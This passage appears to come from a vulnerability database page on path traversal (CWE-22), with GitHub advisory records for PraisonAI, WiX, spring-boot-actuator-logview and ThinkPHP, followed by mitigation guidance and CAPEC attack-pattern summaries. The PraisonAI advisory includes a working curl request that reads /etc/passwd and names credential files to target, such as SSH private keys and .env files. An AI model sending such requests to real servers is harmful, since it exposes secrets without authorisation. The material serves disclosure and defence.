"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57119"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:56:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.\n\n### Details\nThe `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:\n\n```python\n# src/praisonai/praisonai/jobs/models.py:29\nagent_file: Optional[str] = Field(None, description=\"Path to agents.yaml file\")\n# NO path validator, NO allowlist\n```\n\nThe executor reads the file directly:\n\n```python\n# src/praisonai/praisonai/jobs/executor.py:221\nagent_file = job.agent_file or \"agents.yaml\"\n# passed directly to yaml.safe_load(open(agent_file))\n```\n\n### Proof of Concept\n\n```bash\ncurl -X POST http://:8005/api/v1/runs \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"prompt\": \"run\", \"agent_file\": \"/etc/passwd\"}\u0027\n```\n\nServer responds with contents of `/etc/passwd`.\n\nOther exploitable paths:\n- `/proc/1/environ` \u2014 environment variables, API keys\n- `/home//.ssh/id_rsa` \u2014 SSH private keys\n- `/app/.env` \u2014 application secrets\n\n### Impact\nAny unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.",
"id": "GHSA-p4pj-vh7h-6cqh",
"modified": "2026-07-20T21:24:29Z",
"published": "2026-06-18T13:56:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p4pj-vh7h-6cqh"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API"
}
GHSA-P4PX-WC6M-R3HR
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:58An issue was discovered in DTF in FireGiant WiX Toolset before 3.11.2. Microsoft.Deployment.Compression.Cab.dll and Microsoft.Deployment.Compression.Zip.dll allow directory traversal during CAB or ZIP archive extraction, because the full name of an archive file (even with a ../ sequence) is concatenated with the destination path.
{
"affected": [],
"aliases": [
"CVE-2019-16511"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-19T16:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in DTF in FireGiant WiX Toolset before 3.11.2. Microsoft.Deployment.Compression.Cab.dll and Microsoft.Deployment.Compression.Zip.dll allow directory traversal during CAB or ZIP archive extraction, because the full name of an archive file (even with a ../ sequence) is concatenated with the destination path.",
"id": "GHSA-p4px-wc6m-r3hr",
"modified": "2024-04-04T01:58:19Z",
"published": "2022-05-24T16:56:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16511"
},
{
"type": "WEB",
"url": "https://github.com/wixtoolset/issues/issues/6075"
},
{
"type": "WEB",
"url": "https://github.com/GitHubAssessments/CVE_Assessments_09_2019"
},
{
"type": "WEB",
"url": "https://wixtoolset.org/development/wips/6075-dtf-zip-slip"
},
{
"type": "WEB",
"url": "https://www.firegiant.com/blog/2019/9/18/wix-v3.11.2-released"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4Q6-QXJX-8JGP
Vulnerability from github – Published: 2021-01-05 17:29 – Updated: 2021-01-07 22:28Impact
The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that filename=../somefile would not work), the base folder parameter was not sufficiently checked, so that filename=somefile&base=../ could access a file outside the logging base directory).
Patches
The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release.
Workarounds
There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy.
For more information
If you have any questions or comments about this advisory: * Open an issue in the github repo
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "eu.hinsch:spring-boot-actuator-logview"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21234"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-01-05T17:28:54Z",
"nvd_published_at": "2021-01-05T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThe nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile\u0026base=../` could access a file outside the logging base directory).\n\n### Patches\nThe vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release.\n\n### Workarounds\nThere is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [github repo](https://github.com/lukashinsch/spring-boot-actuator-logview)",
"id": "GHSA-p4q6-qxjx-8jgp",
"modified": "2021-01-07T22:28:53Z",
"published": "2021-01-05T17:29:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lukashinsch/spring-boot-actuator-logview/security/advisories/GHSA-p4q6-qxjx-8jgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21234"
},
{
"type": "WEB",
"url": "https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6"
},
{
"type": "WEB",
"url": "https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772"
},
{
"type": "WEB",
"url": "https://search.maven.org/artifact/eu.hinsch/spring-boot-actuator-logview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in spring-boot-actuator-logview"
}
GHSA-P4QR-VQ2G-22WP
Vulnerability from github – Published: 2022-12-23 21:30 – Updated: 2025-04-15 15:51ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "topthink/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-47945"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-04T13:51:57Z",
"nvd_published_at": "2022-12-23T21:15:00Z",
"severity": "CRITICAL"
},
"details": "ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (`lang_switch_on=true`). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including `pearcmd.php`.",
"id": "GHSA-p4qr-vq2g-22wp",
"modified": "2025-04-15T15:51:35Z",
"published": "2022-12-23T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47945"
},
{
"type": "WEB",
"url": "https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099"
},
{
"type": "PACKAGE",
"url": "https://github.com/top-think/framework"
},
{
"type": "WEB",
"url": "https://github.com/top-think/framework/compare/v6.0.13...v6.0.14"
},
{
"type": "WEB",
"url": "https://tttang.com/archive/1865"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ThinkPHP Framework vulnerable to remote code execution"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.